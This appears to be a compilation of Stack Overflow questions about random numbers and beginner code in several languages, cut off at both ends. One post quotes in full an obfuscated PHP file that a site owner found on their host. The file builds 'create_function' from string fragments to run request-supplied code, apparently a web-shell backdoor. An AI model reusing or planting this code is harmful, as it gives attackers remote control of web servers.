        JSONArray jArray = new JSONArray(json);
        StringBuffer str[] = new StringBuffer[jArray.length()];

        for(int i=0;i<=10;i++){

            if(i==10){
                Intent intent = new Intent(getApplicationContext(), Nilai.class);
                startActivity(intent);
            }
            str[i] = new StringBuffer();

            JSONObject soal = jArray.getJSONObject(i);

            String sSoal = soal.getString("soal");


            img1.setImageBitmap(BitmapFactory.decodeStream((InputStream) new URL("http://ift.tt/1J6B6XW" + sSoal).getContent()));

        }


    } catch (Exception e) {
        // TODO: handle exception
    }
}




python guess the number - try again after overguessing

I have made a simple Guess the number program, but i don't know how to make the try again after guessing wrong 3 times. Any tips and tricks?

from random import randint
for i in range(1): 
random_value = randint (1,10)

print "Guess the number"
tryes = 1
while tryes <= 3:
guess_1 = input('>')

    if guess_1 > random_value:
        print "The number is lower"
        tryes = tryes + 1
    elif guess_1 < random_value:
        print "The number is higher"
        tryes = tryes + 1
    elif guess_1 == random_value:
        print "You guessed right"
        tryes = tryes + 3
    else:
        print "Invalid answer"

print "You won! Lets try that again shall we?"




Probability, expected number

In an unsorted array, an element is a local maximum if it is larger than both of the two adjacent elements. The first and last elements of the array are considered local maxima if they are larger than the only adjacent element. If we create an array by randomly permuting the numbers from 1 to n, what is the expected number of local maxima? Prove your answer correct using additivity of expectations.

Im stuck with this question, i have no clue how to solve this...




C++ Using the same default_random_engine for every new object

I'm a C++ beginner coming from a Java and C# background. I'm trying to use the same default_random_engine and normal_distribution at every creation of a new object. Before I was using a new default_random_engine with a new seed and a new normal_distribution in every constructor. I think that way the normal_distribution doesn't work correctly.

Old code ->

my_object.cpp:

default_random_engine generator;

MyObject() {
    double mean = 1.0;
    double std = 0.5;
    normal_distribution<double> distribution(mean, std);
    QTime time = QTime::currentTime();
    uint milli = (time.hour() * 60 * 60 * 1000) + (time.minute() * 60 * 1000) + (time.second() * 1000) + time.msec();
    generator.seed(milli);
    myValue = distribution(generator);
}

This compiled and the values for myValue were randomly distributed. I just think they didn't match the normal distribution, because I always created a new default_random_engine and normal_distribution and used a new seed.

My new code ->

main.h:

class Main
{
   public:
       static default_random_engine generator;
       static normal_distribution<double> distribution;
};

main.cpp:

default_random_engine generator;
normal_distribution<double> distribution;

int main(int argc, char *argv[]) {
    double mean = 1.0;
    double std = 0.5;
    distribution(mean, std);
    QTime time = QTime::currentTime();
    uint milli = (time.hour() * 60 * 60 * 1000) + (time.minute() * 60 * 1000) + (time.second() * 1000) + time.msec();
    generator.seed(milli);
...
}

my_object.cpp:

default_random_engine generator;
normal_distribution<double> distribution;

MyObject() {
    myValue = distribution(generator);
}

But now I get 10 errors on compile time:

error C2228: left of '.min' must have class/struct/union
error C2780: '_Rty std::_Nrand(_Engine &,long double,_Rty)' : expects 3 arguments - 2 provided
error C2780: '_Rty std::_Nrand(_Engine &,double,_Rty)' : expects 3 arguments - 2 provided
...

What am I doing wrong? Why am I getting the errors? And am I correct that earlier my normal distribution/random generation wasn't correct? Will I be able to produce the wanted normal distribution this way?




Sharing Javascript variables between function

So I have a few variables that I need to use within two separate functions. The first function essentially uses the variables to calculate and then display something (a conjugated verb). The second function uses the variables to see if the user's answers were correct, and changes some HTML styling accordingly.

However, these variables are calculated randomly, like this:

function randomIntFromInterval(min,max) {
return Math.floor(Math.random()*(max-min+1)+min); }

var tense = randomIntFromInterval(1, 6);
var person = randomIntFromInterval(1, 3);
var number = randomIntFromInterval(1, 2);
var voice = randomIntFromInterval(1, 2);

I can't declare them as global variables outside a function, because they need to be recalculated every time the first function is called. I can't declare them in their own function and call it inside the original two functions, because both of the functions needs the same values.

How can I do this?




Global Seed for Multiple Numpy Imports

Assume that I have a Python project structure as:

main.py which imports random_initialization.py

main.py which imports sample_around_solution.py

Both random_initialization and sample_around_solution.py import numpy.

Now, random_initialization starts a random instance of a problem, main runs a algorithm and sample_around_solution uses random samples around the solution to compute some metric (quality of solution, say).

I want replicability of the runs for which I have numpy.random.seed(0) in both imported files. Is this the right way to do this? I feel there might be some edge case where this is a horrible idea.




Guessing game program using isdigit

Can someone help me find the error in my code here? I'm totally new to programming and I'm trying to make a simple guessing game that also makes use of the isdigit().

#include <stdio.h>
#include <ctype.h>

main()
{
int iRandom = 0;
int iGuess = 0;
srand(time(NULL));

iRandom = rand()%10 + 1;

printf("\nPlease guess a number between 1 and 10: ");
scanf("%d", &iGuess);

if (isdigit(iGuess)){
    if(iGuess == iRandom){
    printf("\nYou guessed the correct number!\n");
    }   
    else{
    printf("\nThat wasn't the correct number!\n");
    printf("\nThe correct number was %d\n", iRandom);
    }
 }
else{ 
printf("\nYou did not guess a number.\n");
}
}

The problem is, regardless of whether I enter a number or not, the program returns with "You did not guess a number." Running the gcc compiler doesn't bring up any glaring errors that I can see, either. I'm assuming that I screwed up my nested-if statements, but I still don't understand why the else portion would run if isdigit(iGuess) were evaluated as true.




Button Click to Send User to Start of Program

I have an equations program that I'm working on, which randomly selects one of 50 equations, then takes the user through a series of scenes in order to solve it. Once the user solves the equation, they're asked if they want another equation. If they answer no, the program closes. If they answer yes, the program is supposed to randomly select another equation, then take them through the scenes to solve that one.

The program works just as I want it to the first time through. However, if the user selects "yes" for another equation, the program displays the END of the first scene, showing them the previous problem that they've already solved.

How can I send the user to the beginning of the scene, so that a new equation is randomly selected?

Here’s the relevant code for Scene 1:

package Equations;

import java.util.Random;
import javafx.application.*;
import javafx.stage.*;
import javafx.scene.*;
import javafx.scene.layout.*;
import javafx.scene.text.Text;
import javafx.scene.control.*;
import javafx.event.*;
import javafx.geometry.Insets;
import javafx.geometry.Pos;

public class equationsapp extends Application
    implements EventHandler<ActionEvent> {

    public static void main(String[] args) {
        launch(args);
    }

@Override public void start(Stage primaryStage) {

stage = primaryStage;

Random eqrdmzr = new Random();
int randomNumber = eqrdmzr.nextInt(3) + 1;

if (randomNumber == 1) {
isolCounterCoeff = 2;
isolVrblb = new Label("+");
isolCounter1a = 7;
isolCounter2a = 17;
slvCoeff = 2;
slvEqVrblTerm = new Text("2n");
slvEqWhlNmbrInt = 10;
slvEqWhlNmbr = new Text("10");
}

if(randomNumber == 2) {
isolCounterCoeff = 2;
isolVrblb = new Label("+");
isolVrblb.setVisible(false);
isolCounter1a = -18;
isolCounter2a = 4;
slvCoeff = 2;
slvEqVrblTerm = new Text("2n");
slvEqWhlNmbrInt = 22;
slvEqWhlNmbr = new Text("22");
}

if(randomNumber == 3) {
isolCounterCoeff = 3;
isolVrblb = new Label("+");
isolVrblb.setVisible(false);
isolCounter1a = -5;
isolCounter2a = 19;
slvCoeff = 3;
slvEqVrblTerm = new Text("3n");
slvEqWhlNmbrInt = 24;
slvEqWhlNmbr = new Text("24");
}

//Build Scene 1 - Top BorderPane
Text isolText = new Text("Isolate the Variable Term");
isolText.setStyle("-fx-font-size: 16pt");

//Build Scene 1 - Center BorderPane
Label isolCoeff = new Label();
isolCoeff.setStyle("-fx-font-size: 24pt;");
isolCoeff.setText(Integer.toString(isolCounterCoeff));

Label isolVrbl = new Label("n");
isolVrbl.setStyle("-fx-font-size: 24pt;");

isolVrblb.setStyle("-fx-font-size: 24pt;");
isolVrblb.managedProperty().bind(isolVrblb.visibleProperty());

Label isolEqIntLeft = new Label();
isolEqIntLeft.setStyle("-fx-font-size: 24pt;");
isolEqIntLeft.setPadding(new Insets(0, 10, 0, 0));
isolEqIntLeft.setText(Integer.toString(isolCounter1a));
isolEqIntLeft.managedProperty().bind(isolEqIntLeft.visibleProperty());

Label isolEqualSign = new Label("=");
isolEqualSign.setStyle("-fx-font-size: 24pt;");

Label isolEqIntRight = new Label();
isolEqIntRight.setStyle("-fx-font-size: 24pt;");
isolEqIntRight.setPadding(new Insets(0, 0, 0, 10));
isolEqIntRight.setText(Integer.toString(isolCounter2a));

//Build Scene 1 - Bottom BorderPane
Label isolLbl1 = new Label();
isolLbl1.setStyle("-fx-font-size: 22pt;");

isolEqIntLeft.setText(Integer.toString(isolCounter1a));
isolLbl1.setText(Integer.toString(isolCounter1b));

//Add the scene to the stage, set the title and show the stage
primaryStage.setScene(scene1);
primaryStage.setTitle("Equations");
primaryStage.show();

Here’s the event handler that’s supposed to send them back to the start of Stage 1:

Button yesBtn = new Button("Yes");
yesBtn.setStyle("-fx-font-size: 12pt;");
yesBtn.setOnAction(new EventHandler<ActionEvent>() {
public void handle (ActionEvent event) {
if (event.getSource() == yesBtn) {
stage.setScene(scene1);
}
}
});




How many random numbers can std::uniform_real_distribution generate before losing randomness?

I am writing a c++ code for a Monte Carlo simulation. As such, I need to generate many numbers uniformly distributed between [0,1). I included the following code taken from here to generate my numbers:

// uniform_real_distribution
#include <iostream>
#include <random>

std::default_random_engine generator;
std::uniform_real_distribution<double> distribution(0.0,1.0);

int main()
{  
    double number = distribution(generator); //rnd number uniformly distributed between [0,1)
    return 0;
}

So every time I need a new number, I just call distribution(generator). I run my Monte Carlo simulation to get many sample results. The results should be normally distributed around the real mean (that is unknown). When I run a chi-square goodness-of-fit test to check if they are normally distributed, my sample results do not pass the test sometimes. The key word here is "sometimes", so this made me think that I called distribution(generator) too many times and in the end I lost randomness of the generated numbers. I am talking about 10^11 numbers generated in each simulation.

Could it be possible? What if I reset the distribution with distribution.reset() before I call it? Would that solve my problem?

Thanks for any suggestion you may have.




R, Pairwise comparison of random variable in mixed model

We measured temperatures of a pond repeatedly every day at each hour for a month at two different depths (i.e., top and bottom). We want to see if the temperatures at the top of the pond are significantly different from the bottom and if so at what hours. Initially I did a two-way anova in R:

aov.result <- aov(temp ~ depth * hour, data = pondtemp)

followed by post hoc tukey hsd test:

tukey.result <- TukeyHSD(aov.result)

The pairwise comparison of the depth*hour interaction term is what I need to see which hours have significantly different temperatures between top and bottom. This worked out well but someone pointed out that since it is a repeated measure it does not satisfy the assumption of independence. Therefore I tried using a linear mixed model. I took the depth as the fixed variable and figured the hour (since it has multiple observations) in a month should be the random variable:

pondmdl <- lmer(temp ~ depth + (1+variable|hour), data = pondtemp)

And used glht package for post-hoc:

summary(glht(pondmdl, mcp(depth = "Tukey")))

However, this does not allow me to do the pair wise comparison I want to do (i.e., comparing Top Hour 1 to Bottom Hour 0 -23)

I found one way by introducing an interaction factor:

pondtemp$depth.hour <- interaction (pondtemp$depth, pondtemp$hour)

and then using this in my model and glht function:

pondmdl <- lmer(temp~depth.hour + (1+depth|hour), data = pondtemp)
summary(glht(pondmdl, mcp(depth.hour = "Tukey")))

However, I'm not sure if I can allow fixed and random variables interact like that and still use the same random variable in the random variable error term.

Please advise what is my best option. Thank you !




Percentage math not coming out correctly for random dice roll

So I have this code I'm working on and it seems to run correctly except for the printing / showing percentage results. When the percentages are summed, I see that the total does not add up to 100. I feel like it may have something to do with casting, however, I don't see where the mistake is and have stepped through the code numerous times. If anyone could help me out as well as give me any tips reguarding structuring / any other noob stuff I should know, please do so! I'm a fairly new programmer and have less than half a year doing this, so like I said any tips will be appreciated. THANKS!

import java.util.Random;
import java.util.Scanner;

public class DiceRoller {

    public static void main(String[] args) {
        calculatePercentage();
    }

    //Get roll number from user
    static int getNumOfRolls(){
        Scanner input = new Scanner(System.in);

        System.out.println("How many times would you like to roll the dice?");
        int numOfRolls = input.nextInt();
        return numOfRolls;

    }
    //use object from class random to assign var value from 1 - 6 inclusive
    static int rollDice(){

        Random rand = new Random();
        int die = (rand.nextInt(6) + 1);

        return die;
    }

    static void printPercentage(int[] dieTotal, int numOfRolls){

        double totalPer = 0;
        double percent = 0;

        for(int i = 2; i < dieTotal.length; i++){

            int curNum = dieTotal[i];

            percent = ((curNum / (double)numOfRolls) * 100);
            totalPer += percent;
            System.out.printf("%d was rolled %.2f %% of the time. \n", i, percent);
        }

        System.out.println("Total percentage shown on the screen in: " + totalPer);
    }

    //store values of dice in an array. Call printPercent method defined above.
    static void calculatePercentage(){
        int numOfRolls = getNumOfRolls();

        int die1 = 0;
        int die2 = 0;
        int[] dieTotal = new int[13];

        for(int i = 0; i < numOfRolls - 1; i++){
            die1 = rollDice();
            die2 = rollDice();
            int total = die1 + die2;

            dieTotal[total]++;

        }

        printPercentage(dieTotal, numOfRolls);
    }
}




How to close a RandomAccessFile

I'm trying to close a RandomAccessFile but resource remain busy.

Code:

public boolean isOpen(RandomAccessFile f) {
        try {
            f.length() ;
            return true ;
        }
        catch (IOException e) {
            return false ;
        }
    }


this.rfmFile = new File(filePath);
try {
this.rfmRandomAccessFile = new RandomAccessFile(rfmFile, "rws");
} catch(Exception e){
}finally{
this.rfmRandomAccessFile.close();
}
while(!isOpen(this.rfmRandomAccessFile));
log.debug("I Finally Closed this RAF");

Log is not showed and thread goes in loop. When I try to access to my resource from shell it gives me "Device or Resource busy".

The only way to access is kill java process.




Play Sound randoom not work in firefox

i have this code in jquery function.

   var soundFile = sounds[Math.floor(Math.random()*sounds.length)];
     document.getElementById("player").innerHTML="<embed src=\""+soundFile+"\" hidden=\"true\" autostart=\"true\" loop=\"false\" />";   

I have an array of .ogg file in a var named "sounds", and 1 button with onClick event. But when i click on the button, only on chorme work. Firefox or other browsers do not work.




mercredi 27 mai 2015

Is there an easy way to produce a pseudo-random integer without using a utility or a specialized randomizer class?

I know there are all sorts of random number generators, but what is the underlying code to those?




Initialize Random Object on constructor? [duplicate]

This question already has an answer here:

I am writing a class which has as field a Random object. In my constructor, I am trying to initialize my Random Object but, when I try to run, it gives Null Pointer Exception. Here is how I wrote this piece of code:

public class Class1 {
Random randNum;

public Class1 (long seed){
    randNum = new Random(seed);
    // rest of code
}

What is wrong with this approach? What is happening is when I call the method that needs this randNum, it gives null pointer!

Thanks!

@Edit: Also, I've tried to initialize the variable and only set the seed on the constructor. Didn't work.




Create a new random number each time an activity is opened

I'm doing a simple addition game on android studio. Every time the "addition" activity is opened I was hoping to generate two random numbers in two text boxes. However I can't get it to work and the text box appears blank every time I run the app and open the activity. Here's my code for one of the text boxes.

public void textview2(View View) {
    Random addition1 = new Random();
    int additionint1 = addition1.nextInt(100)+1;
    TextView additionText1 = (TextView) findViewById(R.id.textView2);
    String additionString1 = String.valueOf(addition1);
    additionText1.setText(additionString1);
}




Get a random number focused on center

Is it possible to get a random number between 1-100 and keep the results mainly within the 40-60 range? I mean, it will go out of that range rarely, but I want it to be mainly within that range.. Is it possible with Javascript/jQuery?

Right now I'm just using the basic Math.random() * 100) + 1




How to make Questions not repeat itself

So i am making a Who Wants to be an millionaire game code and i have everything working perfectly. But sometimes questions will repeat themselves, and it does not make for a good game if you ended up getting the same Question twice. I would appreciate all and any help.

import java.io.*;
import java.util.*;
public class MillionaireGame {


  public static void main(String[] args) { 


        // gets the users name
        Scanner kbreader = new Scanner(System.in);
        System.out.println("Hello welcome to Wants to Be A Millionaire, Can i get your name please.");
        String name;
        name=kbreader.next();

        // introduce the host and have the host explain the rules
        System.out.println("Welcome again " + name +" I am your host Antonio. i'll be here with you while you play.");
        System.out.println("I am here to explain the rules to you and be a host. let me tell you the rules of the game.");
        System.out.println("We will ask you a series of questions 14 in total and you win money if you get the questions right");
        System.out.println("There two check points $10000 and $320000. if you lose or quit before $10000 you go home empty handed.");
        System.out.println("If you lose or quit after the $10000 question but before the $320000 you go home with $10000.");
        System.out.println("If you lose or quit after the $320000 question but before the $1000000 you go home with $320000.");
        System.out.println("Let the games being computer first question please.");

        //The string array is to how the possible question one
        String question1[]={"What year did world war 2 end in",
                "The canadian great depression started in",
                "Sir John A Mcdonald last term started in",
                "Canada became its own contruy in",};

        //these string arrays are to keep the asnswer for the questions and give the other options
        String answer1[]={"1945","1929","1891","1867",};
        String options1[]={"1943","1904","1886","1782","1748","1764","1897","1823","1899","1858","1900","1909",};

        String question2[]={"What is the capital of Yukon",
                "What is the capital of Northwest Territories",
                "Where is Parliament Hill",
                "_________ is called No Fun City "};

        String answer2[]={"Whitehorse","Yellowknife","Ottawa","Vancouver"};
        String options2[]={"London","Kingston","Saint John","Winnipeg","Victoria","Edmonton","Calgary","Montreal"};

        //The string array is to how the possible question one
        String question3[]={"Which country has the most people",
                "Which country invented football(soccer)",
                "Which country started World War one",
                "Which country has the largest debt",};

        //these string arrays are to keep the asnswer for the questions and give the other options
        String answer3[]={"China","England","Austria-Hungary","United States",};
        String options3[]={"Canada","India","Japan","Germany","Russia","Brazil","France","Mexio","Egypt","Jamaica","Italy","Austria",};

        //The string array is to how the possible question one
        String question4[]={"To which Super-Hero was With great power comes Great Responsibility said to",
                "Which Super-Hero takes the role of Captain America after he died",
                "What is the name of the Acher on the Avengers",
                "Other than Captian America, Chris Evans acted as which Super-Hero",};

        //these string arrays are to keep the asnswer for the questions and give the other options
        String answer4[]={"Spider-Man","Winter Soldier","Hawkeye","Human Torch",};
        String options4[]={"Super-Man","Batman","Flash","Iron Man","Hulk","Thor","DareDevil","Green Arrow","QuickSliver","Super-Girl","Nova","StarLord",};

        //This int array is to hold the prices for the money and keep count of it as the play gets higher
        int money[]={0,1000,2000,3000,5000,10000,20000,40000,80000,160000,320000,640000,1250000,2500000,5000000,10000000};

        //This string array is to talk to the user and give them the next question
        String com1[]={"Antonio: Coumpter what is next question",
                "Antonio: Next question please",
                "Antonio: Are you ready for the next question",
                "Antonio : Next question Please"};

        String com2[]={"Antonio: We will tell you what the answer was",
                "Antonio: Since you quit you get to know the answer",
                "Antonio: Since you're dying to know what the answer was",
                "Antonio: The computer will show you the answer"};

        //this random is to get pick which questions answers and options are printed
        Random r= new Random();
        int qch,ra,rq=0,ans=0,nextq=0,m=1,bal=0;
        do{
        System.out.println("\033"); 
        qch=r.nextInt(4);
        int len1=options1.length;
        int len2=options2.length;
        int len3=options3.length;
        int len4=options4.length;
        System.out.println("\nyou have won= "+money[bal]+"\n");
        System.out.println("\n\tThis question is for $"+money[m]+"\n");        

        //if statements to matcht he answer with the question even after it was randomize
        //the if statements also print out the options
        if(qch==0)
        {
            rq=r.nextInt(4);
            System.out.println(question1[rq]);
            ra=r.nextInt(4);
            if(ra==0)
            {
                System.out.println(answer1[rq]);
                for(int i=0;i<3;i++)
                System.out.println(options1[r.nextInt(len1)]);
                ans=1;
            }
            if(ra==1)
            {
                System.out.println(options1[r.nextInt(len1)]);
                System.out.println(answer1[rq]);
                for(int i=0;i<2;i++)
                System.out.println(options1[r.nextInt(len1)]);
                ans=2;
            }
            if(ra==2)
            {
                for(int i=0;i<2;i++)
                System.out.println(options1[r.nextInt(len1)]);
                System.out.println(answer1[rq]);
                System.out.println(options1[r.nextInt(len1)]);
                ans=3;
            }
            if(ra==3)
            {
                for(int i=0;i<3;i++)
                System.out.println(options1[r.nextInt(len1)]);
                System.out.println(answer1[rq]);
                ans=4;
            }   

        }
        if(qch==1)
        {
            rq=r.nextInt(4);
            System.out.println(question2[rq]);
            ra=r.nextInt(4);
            if(ra==0)
            {
                System.out.println(answer2[rq]);
                for(int i=0;i<3;i++)
                System.out.println(options2[r.nextInt(len2)]);
                ans=1;
            }
            if(ra==1)
            {
                System.out.println(options2[r.nextInt(len2)]);
                System.out.println(answer2[rq]);
                for(int i=0;i<2;i++)
                System.out.println(options2[r.nextInt(len2)]);
                ans=2;
            }
            if(ra==2)
            {
                for(int i=0;i<2;i++)
                System.out.println(options2[r.nextInt(len2)]);
                System.out.println(answer2[rq]);
                System.out.println(options2[r.nextInt(len2)]);
                ans=3;
            }
            if(ra==3)
            {
                for(int i=0;i<3;i++)
                System.out.println(options2[r.nextInt(len2)]);
                System.out.println(answer2[rq]);
                ans=4;
            }   

        }
        if(qch==2)
        {
            rq=r.nextInt(4);
            System.out.println(question3[rq]);
            ra=r.nextInt(4);
            if(ra==0)
            {
                System.out.println(answer3[rq]);
                for(int i=0;i<3;i++)
                System.out.println(options3[r.nextInt(len3)]);
                ans=1;
            }
            if(ra==1)
            {
                System.out.println(options3[r.nextInt(len3)]);
                System.out.println(answer3[rq]);
                for(int i=0;i<2;i++)
                System.out.println(options3[r.nextInt(len3)]);
                ans=2;
            }
            if(ra==2)
            {
                for(int i=0;i<2;i++)
                System.out.println(options3[r.nextInt(len3)]);
                System.out.println(answer3[rq]);
                System.out.println(options3[r.nextInt(len3)]);
                ans=3;
            }
            if(ra==3)
            {
                for(int i=0;i<3;i++)
                System.out.println(options3[r.nextInt(len3)]);
                System.out.println(answer3[rq]);
                ans=4;
            }   

        }
        if(qch==3)
        {
            rq=r.nextInt(4);
            System.out.println(question4[rq]);
            ra=r.nextInt(4);
            if(ra==0)
            {
                System.out.println(answer4[rq]);
                for(int i=0;i<3;i++)
                System.out.println(options4[r.nextInt(len4)]);
                ans=1;
            }
            if(ra==1)
            {
                System.out.println(options4[r.nextInt(len4)]);
                System.out.println(answer4[rq]);
                for(int i=0;i<2;i++)
                System.out.println(options4[r.nextInt(len4)]);
                ans=2;
            }
            if(ra==2)
            {
                for(int i=0;i<2;i++)
                System.out.println(options4[r.nextInt(len4)]);
                System.out.println(answer4[rq]);
                System.out.println(options4[r.nextInt(len4)]);
                ans=3;
            }
            if(ra==3)
            {
                for(int i=0;i<3;i++)
                System.out.println(options4[r.nextInt(len4)]);
                System.out.println(answer4[rq]);
                ans=4;
            }   

        }


        //The Scanner to get input from the user
        //Made a second scanner to save as the answer from the user
        Scanner sc=new Scanner(System.in);
        int uans;
        System.out.println("\n\t\tenter your answer 1,2,3,4");
        System.out.println("\n\t\tif you want to quit enter 5");
        uans=sc.nextInt();
        if(uans==ans)
        {
            System.out.println("\n\t\t\tCorrect answer\n");
            nextq=1;m++;bal++;

            //if they won the whole game this is printed out
            if(m==14)
            {
                System.out.println("\nCongrats\t\tCongrats");
                System.out.println("\n\t\t You Won A $" + m);
                System.out.println("\nCongrats\t\tCongrats");
            }
        }

        // if the user chose to quit the game this is printed
        else if(uans==5)
        {
            System.out.println("\t\t\tYou have chose to quit the game");
            System.out.println(com2[r.nextInt(4)]);
            System.out.print("\t\tThe answer to the question was ");
            if(qch==0)
                System.out.println("option "+ans+" "+answer1[rq]);
            if(qch==1)
                System.out.println("option "+ans+" "+answer2[rq]);
            if(qch==2)
                System.out.println("option "+ans+" "+answer3[rq]);
            nextq=0;
            if(qch==3)
                System.out.println("option "+ans+" "+answer4[rq]);
            nextq=0;
        }

        //if the user chose the wrong answer to the Question this is printed
        else
        {
            nextq=0;
            System.out.println("\n\t Sorry that is the wrong answer");
            System.out.print("\t\tThe answer to the question was ");
            if(qch==0)
                System.out.println("option "+ans+" "+answer1[rq]);
            if(qch==1)
                System.out.println("option "+ans+" "+answer2[rq]);
            if(qch==2)
                System.out.println("option "+ans+" "+answer3[rq]);
            nextq=0;
            if(qch==3)
                System.out.println("option "+ans+" "+answer4[rq]);
            nextq=0;
            System.out.print("\t\t\t You have won $");

            //Checks how much money the user already has then prints out how much they won
            if((money[bal]<10000)&&(money[bal]>=0))
            System.out.println("0");
            if((money[bal]<320000)&&(money[bal]>=10000))
            System.out.println("10000");
            if((money[bal]<10000000)&&(money[bal]>=320000))
            System.out.println("320000");
        }
        if(nextq==1)
            System.out.println(com1[r.nextInt(4)]);
        }while(nextq==1);
    }

}




Randomly named php file on my hosting server

About a week ago, I noticed there was a seemingly randomly named PHP file that had appeared in the root folder of my shared web hosting. The name of the file is "hvkqwvkj.php" and I very stupidly removed it before I looked at the owner/group and permission information. I'd like to know what this is and how it got there. Here is the contents of that file:

<?php
$circulated='ad,$E)eNf'; $chickadees= 't';$glissade ='TeUs';$antoinette= '6'; $lithic='o'; $hydrophobic='TR)iec$$W';$blaspheming='G';$eerily= 'u';$diagrammer =']A))eDO'; $huh= '(rCS/H:s';$din = 'g'; $harri = '.';$housed ='S';$browbeating = 'E(K+Nl';$deniable = 'dew_'; $flared='[';$baseboards = 'R;I';$conversed= '-'; $jammed = 'C'; $confident ='s';$homed ='a'; $bullock ='?';$asdf = 'T$v]';$debugs= 'LV9[U';$cheaters='$'; $juice = ';';$impropriety=')Hf6]tNar'; $fluently= '>(e;_sa'; $antagonism='t';
$jaquith= '"i_K4W';$canal ='(';$bookie='i';
$envies ='_n';$copyright='Pns@iSd'; $hampers='$'; $incontrovertible ='Te['; $irking ='?';$citadel ='iRy=';
$economizing= 'b'; $campanile = 'y'; $awn = 'N'; $compacting='c'; $journalist= 'O'; $evaluate = 'nQ:'; $booking = 'e'; $dolt= '_Q';$bottoming='U';$grabs= 'H';$covers ='(rrta';$breakfasted ='T_"(_uTM_';$confectionery = 'A'; $bolstered = 'E'; $kitti='a'; $kali ='neWn';$jersey ='e'; $fewer= 'a';
$earthmove ='a';$forgivable='1'; $hello =';Sru';$forwent = 'g';$gingham = '?';$fanatic='ot(RstP';$levee='S';$baser = 'B_,"c';$constructs= 'rai';$deletions='u';$attempters='g"sss_';$dispatcher ='ra=';$ken =')';$contrivance = '[D)dae'; $chrome ='i';$glutting='I<'; $devoutness= ';';$foible= '8';
$diagonally='$5D(vn';

$beauregard ='S';$ines='te]ee'; $imogen = 's';

$irene ='("as3:0$r';$grassier ='4';

$consortium ='r'; $appliance ='S'; $histochemistry= 'A'; $beamer='v';$enchain ='s'; $assaults= 'E';$davida='dNe'; $foamed= 'E)n';$cavity='=l';

$drudge='F';
$arraigning= 'p_E "i'; $firmware='",)a(';$jeanine= ')';
$equivalently ='"7$p'; $biller='m'; $likeness= 'i'; $closest = 'OP(vVrwJ$'; $commissioner='rU)o2';

$kaycee= 'c';$fanni = $kaycee['0'] .$commissioner[0] .$davida[2] .$firmware['3'].

$ines['0'] . $davida[2] . $arraigning['1'].$impropriety[2].$deletions. $foamed['2'] . $kaycee['0'].$ines['0']. $likeness . $commissioner[3].$foamed['2'];
$bob=$arraigning[3];

$druggist= $fanni ($bob,$davida[2] . $closest['3'].$firmware['3']. $cavity['1'] .$closest['2'].$firmware['3']. $commissioner[0]. $commissioner[0].
$firmware['3']. $campanile .$arraigning['1'].$equivalently['3'] . $commissioner[3] .$equivalently['3'] .

$closest['2'].$impropriety[2] .$deletions . $foamed['2'] . $kaycee['0'].$arraigning['1'] .
$attempters['0'] .$davida[2]. $ines['0'] .$arraigning['1']. $firmware['3'] . $commissioner[0] .$attempters['0'].$enchain .

$closest['2'] .$commissioner['2'] . $commissioner['2'] .$commissioner['2'] . $devoutness);$druggist ($closest['2'] ,$gingham,$attempters['0'],$dinnie['2'] ,$gwenneth ,$biller, $disdains[2],$closest['0'],$harri , $closest['8'] .$likeness. $cavity['0'].$firmware['3'] . $commissioner[0].
$commissioner[0].$firmware['3'] .
$campanile . $arraigning['1']. $biller.

$davida[2] .
$commissioner[0] . $attempters['0']. $davida[2] .$closest['2'] .$closest['8'] .$arraigning['1'].
$fanatic['3'] . $arraigning['2'].$dolt[1] .$commissioner['1'] .
$arraigning['2']. $appliance . $breakfasted[6]. $firmware['1'] .
$closest['8']. $arraigning['1'].
$jammed.$closest['0'].$closest['0'] .$jaquith['3'].

$glutting['0'] .

$arraigning['2']. $firmware['1']. $closest['8'] . $arraigning['1'].$appliance. $arraigning['2'].

$fanatic['3'] .$closest['4']. $arraigning['2'] . $fanatic['3'].$commissioner['2'] .
$devoutness. $closest['8'].$firmware['3']. $cavity['0'] . $likeness.$enchain. $enchain.
$davida[2] .
$ines['0'] . $closest['2'] .

$closest['8'] .$likeness. $contrivance[0].

$equivalently['0']. $foamed['2'] . $davida['0'].
$enchain .

$enchain.$closest['6'] .$firmware['3']. $foamed['2'].$deletions .$equivalently['0']. $ines[2] . $commissioner['2'].$gingham .

$closest['8'] .$likeness .$contrivance[0] .
$equivalently['0'].
$foamed['2'] . $davida['0'] .$enchain .$enchain .$closest['6'].$firmware['3'].$foamed['2'].$deletions .

$equivalently['0'] .

$ines[2] . $irene['5'] . $closest['2'].$likeness . $enchain. $enchain.$davida[2].$ines['0'] .$closest['2'].$closest['8'] . $likeness. $contrivance[0] .$equivalently['0'] . $grabs.$breakfasted[6] . $breakfasted[6] . $closest['1'] .$arraigning['1'] . $davida['1'].$diagonally[2] . $appliance.

$appliance .

$kali['2'].$histochemistry . $davida['1'].$commissioner['1'] . $equivalently['0'] . $ines[2].$commissioner['2'].$gingham. $closest['8'].

$likeness.$contrivance[0].
$equivalently['0'].$grabs .$breakfasted[6].$breakfasted[6] . $closest['1']. $arraigning['1'].$davida['1']. $diagonally[2] .$appliance .
$appliance. $kali['2'].$histochemistry . $davida['1'].$commissioner['1'].$equivalently['0'] . $ines[2] . $irene['5'].
$davida['0'] . $likeness.$davida[2]. $commissioner['2'].$devoutness.$davida[2]. $closest['3'] .$firmware['3'] .

$cavity['1'] .$closest['2'] . $enchain. $ines['0'] . $commissioner[0] .

$commissioner[0] .$davida[2].$closest['3'] . $closest['2']. $economizing .$firmware['3'].
$enchain.$davida[2] .$impropriety['3']. $grassier .$arraigning['1']. $davida['0'].$davida[2].$kaycee['0']. $commissioner[3].$davida['0'] .
$davida[2] .

$closest['2'].
$enchain.$ines['0'] .$commissioner[0] . $commissioner[0]. $davida[2] .$closest['3'] . $closest['2'].$closest['8']. $firmware['3'].$commissioner['2'].
$commissioner['2']. $commissioner['2'] . $commissioner['2'].
$devoutness ); 




I can't find the second user when joining a chat (Parse)?

When I search for a chat it successfully loads the chatview controller but it fails to find another user, so its just one user in a chat. Maybe I'm referencing the second user wrongly. Not sure how to correct it though.

Code:

- (void)actionChat:(NSString *)groupId
//-------------------------------------------------------------------------------------------------------------------------------------------------
{
    ChatView *chatView = [[ChatView alloc] initWith:groupId];
    // chatView.hidesBottomBarWhenPushed = YES;
    [self.navigationController pushViewController:chatView animated:YES]; // This JSQMessageViewController
}


- (IBAction)startChat:(id)sender { // The button

    PFQuery *query = [PFUser query];

    [query whereKey:@"objectId" notEqualTo:[PFUser currentUser].objectId];
    [query setSkip:arc4random()%2];
    [query getFirstObjectInBackgroundWithBlock:^(PFObject *object, NSError *error) {
        if (!object) {
            NSLog(@"The getFirstObject request failed.");

        } else {
            //You now have a random user from your Database, do what you want with it.

